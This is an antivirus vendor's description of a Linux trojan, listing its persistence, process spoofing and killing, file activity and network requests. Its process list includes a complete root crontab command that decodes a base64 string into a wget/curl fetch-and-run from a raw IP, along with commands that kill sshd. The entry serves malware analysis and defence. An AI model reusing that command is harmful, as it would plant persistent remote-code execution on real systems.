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Linux.Packed.355

Added to the Dr.Web virus database: 2019-04-21

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • nxivsl
  • bstc
Launches processes:
  • sh -c echo '* * * * * echo -n \"d2dldCAtTyAtIGh0dHA6Ly8xODUuMTY1LjE2OS42L2Qvei5zaHxzaCB8fCBjdXJsICAtcyBodHRwOi8vMTg1LjE2NS4xNjkuNi9kL3ouanBnfHNo\" | base64 -d | sh > /dev/null' | crontab -;
  • crontab -
  • sh -c /root/sjhyvl bstc
  • /root/sjhyvl bstc
  • sh -c /root/ptgepl geso
  • /root/ptgepl geso
  • sh -c /root/dorrol
Kills system processes:
  • sshd
Kills the following processes:
  • run.sh
  • bash
  • (sd-pam)
  • systemd
  • agetty
  • cron
  • rpc.idmapd
  • rpcbind
  • dhclient
  • systemd-udevd
  • systemd-journal
  • kworker/u2:0
  • /bin/sh
Performs operations with the file system:
Modifies file access rights:
  • /root/sjhyvl
  • /var/spool/cron/crontabs/tmp.UvVu8I
  • /root/dorrol
Creates or modifies files:
  • /root/sjhyvl
  • /root/d
  • /var/spool/cron/crontabs/tmp.UvVu8I
  • /root/ptgepl
  • /root/dorrol
Deletes files:
  • /root/sjhyvl
  • /root/ptgepl
  • /root/dorrol
Network activity:
HTTP GET requests:
  • 95.###.142.161/d/lll
  • 95.###.142.161/d/drn
  • 95.###.142.161/d/lmmml

Curing recommendations


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